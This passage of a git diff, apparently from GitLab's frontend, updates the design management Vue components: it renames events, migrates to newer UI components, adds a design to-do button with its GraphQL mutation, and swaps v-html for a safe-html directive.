+ this.$emit('open-form', this.discussion.id);
this.isFormRendered = true;
},
toggleResolvedStatus() {
@@ -179,16 +168,24 @@ export default {
})
.then(({ data }) => {
if (data.errors?.length > 0) {
- this.$emit('resolveDiscussionError', data.errors[0]);
+ this.$emit('resolve-discussion-error', data.errors[0]);
}
})
.catch(err => {
- this.$emit('resolveDiscussionError', err);
+ this.$emit('resolve-discussion-error', err);
})
.finally(() => {
this.isResolving = false;
});
},
+ shouldScrollToDiscussion(activeDiscussion) {
+ const ALLOWED_ACTIVE_DISCUSSION_SOURCES = [
+ ACTIVE_DISCUSSION_SOURCE_TYPES.pin,
+ ACTIVE_DISCUSSION_SOURCE_TYPES.url,
+ ];
+ const { source } = activeDiscussion;
+ return ALLOWED_ACTIVE_DISCUSSION_SOURCES.includes(source) && this.isDiscussionActive;
+ },
},
createNoteMutation,
};
@@ -196,13 +193,12 @@ export default {
<template>
<div class="design-discussion-wrapper">
- <div
- class="badge badge-pill gl-display-flex gl-align-items-center gl-justify-content-center"
+ <gl-badge
+ class="gl-display-flex gl-align-items-center gl-justify-content-center gl-cursor-pointer"
:class="{ resolved: discussion.resolved }"
- type="button"
>
{{ discussion.index }}
- </div>
+ </gl-badge>
<ul
class="design-discussion bordered-box gl-relative gl-p-0 gl-list-style-none"
data-qa-selector="design_discussion_content"
@@ -211,8 +207,8 @@ export default {
:note="firstNote"
:markdown-preview-path="markdownPreviewPath"
:is-resolving="isResolving"
- :class="{ 'gl-bg-blue-50': isDiscussionHighlighted }"
- @error="$emit('updateNoteError', $event)"
+ :class="{ 'gl-bg-blue-50': isDiscussionActive }"
+ @error="$emit('update-note-error', $event)"
>
<template v-if="discussion.resolvable" #resolveDiscussion>
<button
@@ -220,7 +216,6 @@ export default {
:class="{ 'is-active': discussion.resolved }"
:title="resolveCheckboxText"
:aria-label="resolveCheckboxText"
- type="button"
class="line-resolve-btn note-action-button gl-mr-3"
data-testid="resolve-button"
@click.stop="toggleResolvedStatus"
@@ -255,8 +250,8 @@ export default {
:note="note"
:markdown-preview-path="markdownPreviewPath"
:is-resolving="isResolving"
- :class="{ 'gl-bg-blue-50': isDiscussionHighlighted }"
- @error="$emit('updateNoteError', $event)"
+ :class="{ 'gl-bg-blue-50': isDiscussionActive }"
+ @error="$emit('update-note-error', $event)"
/>
<li v-show="isReplyPlaceholderVisible" class="reply-wrapper">
<reply-placeholder
@@ -272,7 +267,6 @@ export default {
:variables="{
input: mutationPayload,
}"
- :update="addDiscussionComment"
@done="onDone"
@error="onCreateNoteError"
>
@@ -280,8 +274,8 @@ export default {
v-model="discussionComment"
:is-saving="loading"
:markdown-preview-path="markdownPreviewPath"
- @submitForm="mutate"
- @cancelForm="hideForm"
+ @submit-form="mutate"
+ @cancel-form="hideForm"
>
<template v-if="discussion.resolvable" #resolveCheckbox>
<label data-testid="resolve-checkbox">
diff --git a/app/assets/javascripts/design_management/components/design_notes/design_note.vue b/app/assets/javascripts/design_management/components/design_notes/design_note.vue
index 172e61920ef..7f4b3b31024 100644
--- a/app/assets/javascripts/design_management/components/design_notes/design_note.vue
+++ b/app/assets/javascripts/design_management/components/design_notes/design_note.vue
@@ -1,12 +1,12 @@
<script>
import { ApolloMutation } from 'vue-apollo';
-import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon, GlLink, GlSafeHtmlDirective } from '@gitlab/ui';
import updateNoteMutation from '../../graphql/mutations/update_note.mutation.graphql';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import DesignReplyForm from './design_reply_form.vue';
-import { findNoteId } from '../../utils/design_management_utils';
+import { findNoteId, extractDesignNoteId } from '../../utils/design_management_utils';
import { hasErrors } from '../../utils/cache_update';
export default {
@@ -17,9 +17,11 @@ export default {
DesignReplyForm,
ApolloMutation,
GlIcon,
+ GlLink,
},
directives: {
GlTooltip: GlTooltipDirective,
+ SafeHtml: GlSafeHtmlDirective,
},
props: {
note: {
@@ -46,7 +48,7 @@ export default {
return findNoteId(this.note.id);
},
isNoteLinked() {
- return this.$route.hash === `#note_${this.noteAnchorId}`;
+ return extractDesignNoteId(this.$route.hash) === this.noteAnchorId;
},
mutationPayload() {
return {
@@ -58,11 +60,6 @@ export default {
return !this.isEditing && this.note.userPermissions.adminNote;
},
},
- mounted() {
- if (this.isNoteLinked) {
- this.$el.scrollIntoView({ behavior: 'smooth', inline: 'start' });
- }
- },
methods: {
hideForm() {
this.isEditing = false;
@@ -87,30 +84,30 @@ export default {
:img-alt="author.username"
:img-size="40"
/>
- <div class="d-flex justify-content-between">
+ <div class="gl-display-flex gl-justify-content-space-between">
<div>
- <a
+ <gl-link
v-once
:href="author.webUrl"
class="js-user-link"
:data-user-id="author.id"
:data-username="author.username"
>
- <span class="note-header-author-name bold">{{ author.name }}</span>
- <span v-if="author.status_tooltip_html" v-html="author.status_tooltip_html"></span>
+ <span class="note-header-author-name gl-font-weight-bold">{{ author.name }}</span>
+ <span v-if="author.status_tooltip_html" v-safe-html="author.status_tooltip_html"></span>
<span class="note-headline-light">@{{ author.username }}</span>
- </a>
+ </gl-link>
<span class="note-headline-light note-headline-meta">
<span class="system-note-message"> <slot></slot> </span>
- <template v-if="note.createdAt">
- <span class="system-note-separator"></span>
- <a class="note-timestamp system-note-separator" :href="`#note_${noteAnchorId}`">
- <time-ago-tooltip :time="note.createdAt" tooltip-placement="bottom" />
- </a>
- </template>
+ <gl-link
+ class="note-timestamp system-note-separator gl-display-block gl-mb-2"
+ :href="`#note_${noteAnchorId}`"
+ >
+ <time-ago-tooltip :time="note.createdAt" tooltip-placement="bottom" />
+ </gl-link>
</span>
</div>
- <div class="gl-display-flex">
+ <div class="gl-display-flex gl-align-items-baseline">
<slot name="resolveDiscussion"></slot>
<button
v-if="isEditButtonVisible"
@@ -126,9 +123,9 @@ export default {
</div>
<template v-if="!isEditing">
<div
+ v-safe-html="note.bodyHtml"
class="note-text js-note-text md"
data-qa-selector="note_content"
- v-html="note.bodyHtml"
></div>
<slot name="resolvedStatus"></slot>
</template>
@@ -147,9 +144,9 @@ export default {
:is-saving="loading"
:markdown-preview-path="markdownPreviewPath"
:is-new-comment="false"
- class="mt-5"
- @submitForm="mutate"
- @cancelForm="hideForm"
+ class="gl-mt-5"
+ @submit-form="mutate"
+ @cancel-form="hideForm"
/>
</apollo-mutation>
</timeline-entry-item>
diff --git a/app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue b/app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue
index 969034909f2..3754e1dbbc1 100644
--- a/app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue
+++ b/app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue
@@ -1,5 +1,5 @@
<script>
-import { GlDeprecatedButton, GlModal } from '@gitlab/ui';
+import { GlButton, GlModal } from '@gitlab/ui';
import MarkdownField from '~/vue_shared/components/markdown/field.vue';
import { s__ } from '~/locale';
@@ -7,7 +7,7 @@ export default {
name: 'DesignReplyForm',
components: {
MarkdownField,
- GlDeprecatedButton,
+ GlButton,
GlModal,
},
props: {
@@ -66,13 +66,13 @@ export default {
},
methods: {
submitForm() {
- if (this.hasValue) this.$emit('submitForm');
+ if (this.hasValue) this.$emit('submit-form');
},
cancelComment() {
if (this.hasValue && this.formText !== this.value) {
this.$refs.cancelCommentModal.show();
} else {
- this.$emit('cancelForm');
+ this.$emit('cancel-form');
}
},
focusInput() {
@@ -112,20 +112,21 @@ export default {
</markdown-field>
<slot name="resolveCheckbox"></slot>
<div class="note-form-actions gl-display-flex gl-justify-content-space-between">
- <gl-deprecated-button
+ <gl-button
ref="submitButton"
:disabled="!hasValue || isSaving"
+ category="primary"
variant="success"
type="submit"
data-track-event="click_button"
data-qa-selector="save_comment_button"
- @click="$emit('submitForm')"
+ @click="$emit('submit-form')"
>
{{ buttonText }}
- </gl-deprecated-button>
- <gl-deprecated-button ref="cancelButton" @click="cancelComment">{{
+ </gl-button>
+ <gl-button ref="cancelButton" variant="default" category="primary" @click="cancelComment">{{
__('Cancel')
- }}</gl-deprecated-button>
+ }}</gl-button>
</div>
<gl-modal
ref="cancelCommentModal"
@@ -134,7 +135,7 @@ export default {
:ok-title="modalSettings.okTitle"
:cancel-title="modalSettings.cancelTitle"
modal-id="cancel-comment-modal"
- @ok="$emit('cancelForm')"
+ @ok="$emit('cancel-form')"
>{{ modalSettings.content }}
</gl-modal>
</form>
diff --git a/app/assets/javascripts/design_management/components/design_overlay.vue b/app/assets/javascripts/design_management/components/design_overlay.vue
index 926e7c74802..5c4a3ab5f94 100644
--- a/app/assets/javascripts/design_management/components/design_overlay.vue
+++ b/app/assets/javascripts/design_management/components/design_overlay.vue
@@ -1,4 +1,5 @@
<script>
+import { __ } from '~/locale';
import activeDiscussionQuery from '../graphql/queries/active_discussion.query.graphql';
import updateActiveDiscussionMutation from '../graphql/mutations/update_active_discussion.mutation.graphql';
import DesignNotePin from './design_note_pin.vue';
@@ -236,18 +237,26 @@ export default {
});
},
isNoteInactive(note) {
- return this.activeDiscussion.id && this.activeDiscussion.id !== note.id;
+ const discussionNotes = note.discussion.notes.nodes || [];
+
+ return (
+ this.activeDiscussion.id &&
+ !discussionNotes.some(({ id }) => id === this.activeDiscussion.id)
+ );
},
designPinClass(note) {
return { inactive: this.isNoteInactive(note), resolved: note.resolved };
},
},
+ i18n: {
+ newCommentButtonLabel: __('Add comment to design'),
+ },
};
</script>
<template>
<div
- class="position-absolute image-diff-overlay frame"
+ class="gl-absolute gl-top-0 gl-left-0 frame"
:style="overlayStyle"
@mousemove="onOverlayMousemove"
@mouseleave="onNoteMouseup"
@@ -255,26 +264,28 @@ export default {
<button
v-show="!disableCommenting"
type="button"
- class="btn-transparent position-absolute image-diff-overlay-add-comment w-100 h-100 js-add-image-diff-note-button"
+ role="button"
+ :aria-label="$options.i18n.newCommentButtonLabel"
+ class="gl-absolute gl-w-full gl-h-full gl-p-0 gl-top-0 gl-left-0 gl-outline-0! btn-transparent design-detail-overlay-add-comment"
data-qa-selector="design_image_button"
@mouseup="onAddCommentMouseup"
></button>
- <template v-for="note in notes">
- <design-note-pin
- v-if="resolvedDiscussionsExpanded || !note.resolved"
- :key="note.id"
- :label="note.index"
- :repositioning="isMovingNote(note.id)"
- :position="
- isMovingNote(note.id) && movingNoteNewPosition
- ? getNotePositionStyle(movingNoteNewPosition)
- : getNotePositionStyle(note.position)
- "
- :class="designPinClass(note)"
- @mousedown.stop="onNoteMousedown($event, note)"
- @mouseup.stop="onNoteMouseup(note)"
- />
- </template>
+
+ <design-note-pin
+ v-for="note in notes"
+ v-if="resolvedDiscussionsExpanded || !note.resolved"
+ :key="note.id"
+ :label="note.index"
+ :repositioning="isMovingNote(note.id)"
+ :position="
+ isMovingNote(note.id) && movingNoteNewPosition
+ ? getNotePositionStyle(movingNoteNewPosition)
+ : getNotePositionStyle(note.position)
+ "
+ :class="designPinClass(note)"
+ @mousedown.stop="onNoteMousedown($event, note)"
+ @mouseup.stop="onNoteMouseup(note)"
+ />
<design-note-pin
v-if="currentCommentForm"
diff --git a/app/assets/javascripts/design_management/components/design_sidebar.vue b/app/assets/javascripts/design_management/components/design_sidebar.vue
index e5a3590877e..df425e3b96d 100644
--- a/app/assets/javascripts/design_management/components/design_sidebar.vue
+++ b/app/assets/javascripts/design_management/components/design_sidebar.vue
@@ -8,6 +8,8 @@ import { extractDiscussions, extractParticipants } from '../utils/design_managem
import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '../constants';
import DesignDiscussion from './design_notes/design_discussion.vue';
import Participants from '~/sidebar/components/participants/participants.vue';
+import DesignTodoButton from './design_todo_button.vue';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
components: {
@@ -16,7 +18,9 @@ export default {
GlCollapse,
GlButton,
GlPopover,
+ DesignTodoButton,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
design: {
type: Object,
@@ -37,6 +41,14 @@ export default {
discussionWithOpenForm: '',
};
},
+ inject: {
+ projectPath: {
+ default: '',
+ },
+ issueIid: {
+ default: '',
+ },
+ },
computed: {
discussions() {
return extractDiscussions(this.design.discussions);
@@ -59,6 +71,26 @@ export default {
resolvedCommentsToggleIcon() {
return this.resolvedDiscussionsExpanded ? 'chevron-down' : 'chevron-right';
},
+ showTodoButton() {
+ return this.glFeatures.designManagementTodoButton;
+ },
+ sidebarWrapperClass() {
+ return {
+ 'gl-pt-0': this.showTodoButton,
+ };
+ },
+ },
+ watch: {
+ isResolvedCommentsPopoverHidden(newVal) {
+ if (!newVal) {
+ this.$refs.resolvedComments.scrollIntoView();
+ }
+ },
+ },
+ mounted() {
+ if (!this.isResolvedCommentsPopoverHidden && this.$refs.resolvedComments) {
+ this.$refs.resolvedComments.$el.scrollIntoView();
+ }
},
methods: {
handleSidebarClick() {
@@ -89,7 +121,14 @@ export default {
</script>
<template>
- <div class="image-notes" @click="handleSidebarClick">
+ <div class="image-notes" :class="sidebarWrapperClass" @click="handleSidebarClick">
+ <div
+ v-if="showTodoButton"
+ class="gl-py-4 gl-mb-4 gl-display-flex gl-justify-content-space-between gl-align-items-center gl-border-b-1 gl-border-b-solid gl-border-b-gray-100"
+ >
+ <span>{{ __('To-Do') }}</span>
+ <design-todo-button :design="design" @error="$emit('todoError', $event)" />
+ </div>
<h2 class="gl-font-weight-bold gl-mt-0">
{{ issue.title }}
</h2>
@@ -120,15 +159,16 @@ export default {
:resolved-discussions-expanded="resolvedDiscussionsExpanded"
:discussion-with-open-form="discussionWithOpenForm"
data-testid="unresolved-discussion"
- @createNoteError="$emit('onDesignDiscussionError', $event)"
- @updateNoteError="$emit('updateNoteError', $event)"
- @resolveDiscussionError="$emit('resolveDiscussionError', $event)"
+ @create-note-error="$emit('onDesignDiscussionError', $event)"
+ @update-note-error="$emit('updateNoteError', $event)"
+ @resolve-discussion-error="$emit('resolveDiscussionError', $event)"
@click.native.stop="updateActiveDiscussion(discussion.notes[0].id)"
- @openForm="updateDiscussionWithOpenForm"
+ @open-form="updateDiscussionWithOpenForm"
/>
<template v-if="resolvedDiscussions.length > 0">
<gl-button
id="resolved-comments"
+ ref="resolvedComments"
data-testid="resolved-comments"
:icon="resolvedCommentsToggleIcon"
variant="link"
@@ -151,9 +191,12 @@ export default {
)
}}
</p>
- <a href="#" rel="noopener noreferrer" target="_blank">{{
- s__('DesignManagement|Learn more about resolving comments')
- }}</a>
+ <a
+ href="https://docs.gitlab.com/ee/user/project/issues/design_management.html#resolve-design-threads"
+ rel="noopener noreferrer"
+ target="_blank"
+ >{{ s__('DesignManagement|Learn more about resolving comments') }}</a
+ >
</gl-popover>
<gl-collapse :visible="resolvedDiscussionsExpanded" class="gl-mt-3">
<design-discussion
diff --git a/app/assets/javascripts/design_management/components/design_todo_button.vue b/app/assets/javascripts/design_management/components/design_todo_button.vue
new file mode 100644
index 00000000000..aff4f348d15
--- /dev/null
+++ b/app/assets/javascripts/design_management/components/design_todo_button.vue
@@ -0,0 +1,168 @@
+<script>
+import todoMarkDoneMutation from '~/graphql_shared/mutations/todo_mark_done.mutation.graphql';
+import getDesignQuery from '../graphql/queries/get_design.query.graphql';
+import createDesignTodoMutation from '../graphql/mutations/create_design_todo.mutation.graphql';
+import TodoButton from '~/vue_shared/components/todo_button.vue';
+import allVersionsMixin from '../mixins/all_versions';
+import { updateStoreAfterDeleteDesignTodo } from '../utils/cache_update';
+import { findIssueId, findDesignId } from '../utils/design_management_utils';
+import { CREATE_DESIGN_TODO_ERROR, DELETE_DESIGN_TODO_ERROR } from '../utils/error_messages';
+
+export default {
+ components: {
+ TodoButton,
+ },
+ mixins: [allVersionsMixin],
+ props: {
+ design: {
+ type: Object,
+ required: true,
+ },
+ },
+ inject: {
+ projectPath: {
+ default: '',
+ },
+ issueIid: {
+ default: '',
+ },
+ },
+ data() {
+ return {
+ todoLoading: false,
+ };
+ },
+ computed: {
+ designVariables() {
+ return {
+ fullPath: this.projectPath,
+ iid: this.issueIid,
+ filenames: [this.$route.params.id],
+ atVersion: this.designsVersion,
+ };
+ },
+ designTodoVariables() {
+ return {
+ projectPath: this.projectPath,
+ issueId: findIssueId(this.design.issue.id),
+ designId: findDesignId(this.design.id),
+ issueIid: this.issueIid,
+ filenames: [this.$route.params.id],
+ atVersion: this.designsVersion,
+ };
+ },
+ pendingTodo() {
+ // TODO data structure pending BE MR: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40555#note_405732940
+ return this.design.currentUserTodos?.nodes[0];
+ },
+ hasPendingTodo() {
+ return Boolean(this.pendingTodo);
+ },
+ },
+ methods: {
+ updateGlobalTodoCount(additionalTodoCount) {
+ const currentCount = parseInt(document.querySelector('.js-todos-count').innerText, 10);
+ const todoToggleEvent = new CustomEvent('todo:toggle', {
+ detail: {
+ count: Math.max(currentCount + additionalTodoCount, 0),
+ },
+ });
+
+ document.dispatchEvent(todoToggleEvent);
+ },
+ incrementGlobalTodoCount() {
+ this.updateGlobalTodoCount(1);
+ },
+ decrementGlobalTodoCount() {
+ this.updateGlobalTodoCount(-1);
+ },
+ createTodo() {
+ this.todoLoading = true;
+ return this.$apollo
+ .mutate({
+ mutation: createDesignTodoMutation,
+ variables: this.designTodoVariables,
+ update: (store, { data: { createDesignTodo } }) => {
+ // because this is a @client mutation,
+ // we control what is in errors, and therefore
+ // we are certain that there is at most 1 item in the array
+ const createDesignTodoError = (createDesignTodo.errors || [])[0];
+ if (createDesignTodoError) {
+ this.$emit('error', Error(createDesignTodoError.message));
+ }
+ },
+ })
+ .then(() => {
+ this.incrementGlobalTodoCount();
+ })
+ .catch(err => {
+ this.$emit('error', Error(CREATE_DESIGN_TODO_ERROR));
+ throw err;
+ })
+ .finally(() => {
+ this.todoLoading = false;
+ });
+ },
+ deleteTodo() {
+ if (!this.hasPendingTodo) return Promise.reject();
+
+ const { id } = this.pendingTodo;
+ const { designVariables } = this;
+
+ this.todoLoading = true;
+ return this.$apollo
+ .mutate({
+ mutation: todoMarkDoneMutation,
+ variables: {
+ id,
+ },
+ update(
+ store,
+ {
+ data: { todoMarkDone },
+ },
+ ) {
+ const todoMarkDoneFirstError = (todoMarkDone.errors || [])[0];
+ if (todoMarkDoneFirstError) {
+ this.$emit('error', Error(todoMarkDoneFirstError));
+ } else {
+ updateStoreAfterDeleteDesignTodo(
+ store,
+ todoMarkDone,
+ getDesignQuery,
+ designVariables,
+ );
+ }
+ },
+ })
+ .then(() => {
+ this.decrementGlobalTodoCount();
+ })
+ .catch(err => {
+ this.$emit('error', Error(DELETE_DESIGN_TODO_ERROR));
+ throw err;
+ })
+ .finally(() => {
+ this.todoLoading = false;
+ });
+ },
+ toggleTodo() {
+ if (this.hasPendingTodo) {
+ return this.deleteTodo();
+ }
+
+ return this.createTodo();
+ },
+ },
+};
+</script>
+
+<template>
+ <todo-button
+ issuable-type="design"
+ :issuable-id="design.iid"
+ :is-todo="hasPendingTodo"
+ :loading="todoLoading"
+ @click.stop.prevent="toggleTodo"
+ />
+</template>
diff --git a/app/assets/javascripts/design_management/components/list/item.vue b/app/assets/javascripts/design_management/components/list/item.vue
index 292b6e09055..36ea812d92e 100644
--- a/app/assets/javascripts/design_management/components/list/item.vue
+++ b/app/assets/javascripts/design_management/components/list/item.vue
@@ -1,6 +1,5 @@
<script>
import { GlLoadingIcon, GlIcon, GlIntersectionObserver } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
import Timeago from '~/vue_shared/components/time_ago_tooltip.vue';
import { n__, __ } from '~/locale';
import { DESIGN_ROUTE_NAME } from '../../router/constants';
@@ -10,7 +9,6 @@ export default {
GlLoadingIcon,
GlIntersectionObserver,
GlIcon,
- Icon,
Timeago,
},
props: {
@@ -127,12 +125,14 @@ export default {
params: { id: filename },
query: $route.query,
}"
- class="card cursor-pointer text-plain js-design-list-item design-list-item design-list-item-new"
+ class="card gl-cursor-pointer text-plain js-design-list-item design-list-item design-list-item-new"
>
- <div class="card-body p-0 d-flex-center overflow-hidden position-relative">
- <div v-if="icon.name" data-testid="designEvent" class="design-event position-absolute">
+ <div
+ class="card-body gl-p-0 gl-display-flex gl-align-items-center gl-justify-content-center gl-overflow-hidden gl-relative"
+ >
+ <div v-if="icon.name" data-testid="designEvent" class="design-event gl-absolute">
<span :title="icon.tooltip" :aria-label="icon.tooltip">
- <icon :name="icon.name" :size="18" :class="icon.classes" />
+ <gl-icon :name="icon.name" :size="18" :class="icon.classes" />
</span>
</div>
<gl-intersection-observer @appear="onAppear">
@@ -147,25 +147,28 @@ export default {
v-show="showImage"
:src="imageLink"
:alt="filename"
- class="block mx-auto mw-100 mh-100 design-img"
+ class="gl-display-block gl-mx-auto gl-max-w-full mh-100 design-img"
data-qa-selector="design_image"
@load="onImageLoad"
@error="onImageError"
/>
</gl-intersection-observer>
</div>
- <div class="card-footer d-flex w-100">
- <div class="d-flex flex-column str-truncated-100">
- <span class="bold str-truncated-100" data-qa-selector="design_file_name">{{
+ <div class="card-footer gl-display-flex gl-w-full">
+ <div class="gl-display-flex gl-flex-direction-column str-truncated-100">
+ <span class="gl-font-weight-bold str-truncated-100" data-qa-selector="design_file_name">{{
filename
}}</span>
<span v-if="updatedAt" class="str-truncated-100">
{{ __('Updated') }} <timeago :time="updatedAt" tooltip-placement="bottom" />
</span>
</div>
- <div v-if="notesCount" class="ml-auto d-flex align-items-center text-secondary">
- <icon name="comments" class="ml-1" />
- <span :aria-label="notesLabel" class="ml-1">
+ <div
+ v-if="notesCount"
+ class="gl-ml-auto gl-display-flex gl-align-items-center gl-text-gray-500"
+ >
+ <gl-icon name="comments" class="gl-ml-2" />
+ <span :aria-label="notesLabel" class="gl-ml-2">
{{ notesCount }}
</span>
</div>
diff --git a/app/assets/javascripts/design_management/components/upload/design_version_dropdown.vue b/app/assets/javascripts/design_management/components/upload/design_version_dropdown.vue
index a03982cb91b..4a1be7b720a 100644
--- a/app/assets/javascripts/design_management/components/upload/design_version_dropdown.vue
+++ b/app/assets/javascripts/design_management/components/upload/design_version_dropdown.vue
@@ -1,13 +1,13 @@
<script>
-import { GlNewDropdown, GlNewDropdownItem, GlSprintf } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem, GlSprintf } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import allVersionsMixin from '../../mixins/all_versions';
import { findVersionId } from '../../utils/design_management_utils';
export default {
components: {
- GlNewDropdown,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
GlSprintf,
},
mixins: [allVersionsMixin],
@@ -63,8 +63,8 @@ export default {
</script>
<template>
- <gl-new-dropdown :text="dropdownText" size="small">
- <gl-new-dropdown-item
+ <gl-dropdown :text="dropdownText" size="small">
+ <gl-dropdown-item
v-for="(version, index) in allVersions"
:key="version.id"
:is-check-item="true"
@@ -76,6 +76,6 @@ export default {
{{ allVersions.length - index }}
</template>
</gl-sprintf>
- </gl-new-dropdown-item>
- </gl-new-dropdown>
+ </gl-dropdown-item>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/design_management/constants.js b/app/assets/javascripts/design_management/constants.js
index 21ff361a277..63a92ef5ec0 100644
--- a/app/assets/javascripts/design_management/constants.js
+++ b/app/assets/javascripts/design_management/constants.js
@@ -11,6 +11,7 @@ export const VALID_DATA_TRANSFER_TYPE = 'Files';
export const ACTIVE_DISCUSSION_SOURCE_TYPES = {
pin: 'pin',
discussion: 'discussion',
+ url: 'url',
};
export const DESIGN_DETAIL_LAYOUT_CLASSLIST = ['design-detail-layout', 'overflow-hidden', 'm-0'];
diff --git a/app/assets/javascripts/design_management/graphql.js b/app/assets/javascripts/design_management/graphql.js
index fae337aa75b..d1fe977b969 100644
--- a/app/assets/javascripts/design_management/graphql.js
+++ b/app/assets/javascripts/design_management/graphql.js
@@ -1,24 +1,70 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import { uniqueId } from 'lodash';
+import produce from 'immer';
import { defaultDataIdFromObject } from 'apollo-cache-inmemory';
+import axios from '~/lib/utils/axios_utils';
import createDefaultClient from '~/lib/graphql';
import activeDiscussionQuery from './graphql/queries/active_discussion.query.graphql';
+import getDesignQuery from './graphql/queries/get_design.query.graphql';
import typeDefs from './graphql/typedefs.graphql';
+import { extractTodoIdFromDeletePath, createPendingTodo } from './utils/design_management_utils';
+import { CREATE_DESIGN_TODO_EXISTS_ERROR } from './utils/error_messages';
+import { addPendingTodoToStore } from './utils/cache_update';
Vue.use(VueApollo);
const resolvers = {
Mutation: {
updateActiveDiscussion: (_, { id = null, source }, { cache }) => {
- const data = cache.readQuery({ query: activeDiscussionQuery });
- data.activeDiscussion = {
- __typename: 'ActiveDiscussion',
- id,
- source,
- };
+ const sourceData = cache.readQuery({ query: activeDiscussionQuery });
+
+ const data = produce(sourceData, draftData => {
+ // eslint-disable-next-line no-param-reassign
+ draftData.activeDiscussion = {
+ __typename: 'ActiveDiscussion',
+ id,
+ source,
+ };
+ });
+
cache.writeQuery({ query: activeDiscussionQuery, data });
},
+ createDesignTodo: (
+ _,
+ { projectPath, issueId, designId, issueIid, filenames, atVersion },
+ { cache },
+ ) => {
+ return axios
+ .post(`/${projectPath}/todos`, {
+ issue_id: issueId,
+ issuable_id: designId,
+ issuable_type: 'design',
+ })
+ .then(({ data }) => {
+ const { delete_path } = data;
+ const todoId = extractTodoIdFromDeletePath(delete_path);
+ if (!todoId) {
+ return {
+ errors: [
+ {
+ message: CREATE_DESIGN_TODO_EXISTS_ERROR,
+ },
+ ],
+ };
+ }
+
+ const pendingTodo = createPendingTodo(todoId);
+ addPendingTodoToStore(cache, pendingTodo, getDesignQuery, {
+ fullPath: projectPath,
+ iid: issueIid,
+ filenames,
+ atVersion,
+ });
+
+ return pendingTodo;
+ });
+ },
},
};
@@ -37,6 +83,7 @@ const defaultClient = createDefaultClient(
},
},
typeDefs,
+ assumeImmutableResults: true,
},
);
diff --git a/app/assets/javascripts/design_management/graphql/fragments/design_list.fragment.graphql b/app/assets/javascripts/design_management/graphql/fragments/design_list.fragment.graphql
index bc3132f9b42..9bd70e7e886 100644
--- a/app/assets/javascripts/design_management/graphql/fragments/design_list.fragment.graphql
+++ b/app/assets/javascripts/design_management/graphql/fragments/design_list.fragment.graphql
@@ -5,4 +5,9 @@ fragment DesignListItem on Design {
notesCount
image
imageV432x230
+ currentUserTodos(state: pending) {
+ nodes {
+ id
+ }
+ }
}
diff --git a/app/assets/javascripts/design_management/graphql/fragments/design_note.fragment.graphql b/app/assets/javascripts/design_management/graphql/fragments/design_note.fragment.graphql
index 26edd2c0be1..28224671326 100644
--- a/app/assets/javascripts/design_management/graphql/fragments/design_note.fragment.graphql
+++ b/app/assets/javascripts/design_management/graphql/fragments/design_note.fragment.graphql
@@ -25,5 +25,10 @@ fragment DesignNote on Note {
}
discussion {
id
+ notes {
+ nodes {
+ id
+ }
+ }
}
}
diff --git a/app/assets/javascripts/design_management/graphql/mutations/create_design_todo.mutation.graphql b/app/assets/javascripts/design_management/graphql/mutations/create_design_todo.mutation.graphql
new file mode 100644
index 00000000000..0c989b2fdde
--- /dev/null
+++ b/app/assets/javascripts/design_management/graphql/mutations/create_design_todo.mutation.graphql
@@ -0,0 +1,17 @@
+mutation createDesignTodo(
+ $projectPath: String!
+ $issueId: String!
+ $designId: String!
+ $issueIid: String!
+ $filenames: [String]!
+ $atVersion: String
+) {
+ createDesignTodo(
+ projectPath: $projectPath
+ issueId: $issueId
+ designId: $designId
+ issueIid: $issueIid
+ filenames: $filenames
+ atVersion: $atVersion
+ ) @client
+}
diff --git a/app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql b/app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql
index ab987dda525..96869a404b1 100644
--- a/app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql
+++ b/app/assets/javascripts/design_management/graphql/queries/get_design.query.graphql
@@ -10,6 +10,7 @@ query getDesign($fullPath: ID!, $iid: String!, $atVersion: ID, $filenames: [Stri
nodes {
...DesignItem
issue {
+ id
title
webPath
webUrl
diff --git a/app/assets/javascripts/design_management/index.js b/app/assets/javascripts/design_management/index.js
index 20c9cacf83f..1a87dd38137 100644
--- a/app/assets/javascripts/design_management/index.js
+++ b/app/assets/javascripts/design_management/index.js
@@ -4,7 +4,7 @@ import App from './components/app.vue';
import apolloProvider from './graphql';
export default () => {
- const el = document.querySelector('.js-design-management-new');
+ const el = document.querySelector('.js-design-management');
const { issueIid, projectPath, issuePath } = el.dataset;
const router = createRouter(issuePath);
diff --git a/app/assets/javascripts/design_management/pages/design/index.vue b/app/assets/javascripts/design_management/pages/design/index.vue
index 17b72e73127..c6225c516e2 100644
--- a/app/assets/javascripts/design_management/pages/design/index.vue
+++ b/app/assets/javascripts/design_management/pages/design/index.vue
@@ -19,6 +19,8 @@ import {
extractDiscussions,
extractDesign,
updateImageDiffNoteOptimisticResponse,
+ toDiffNoteGid,
+ extractDesignNoteId,
} from '../../utils/design_management_utils';
import {
updateStoreAfterAddImageDiffNote,
@@ -31,6 +33,7 @@ import {
DESIGN_NOT_FOUND_ERROR,
DESIGN_VERSION_NOT_EXIST_ERROR,
UPDATE_NOTE_ERROR,
+ TOGGLE_TODO_ERROR,
designDeletionError,
} from '../../utils/error_messages';
import { trackDesignDetailView } from '../../utils/tracking';
@@ -145,8 +148,11 @@ export default {
mounted() {
Mousetrap.bind('esc', this.closeDesign);
this.trackEvent();
- // We need to reset the active discussion when opening a new design
- this.updateActiveDiscussion();
+
+ // Set active discussion immediately.
+ // This will ensure that, if a note is specified in the URL hash,
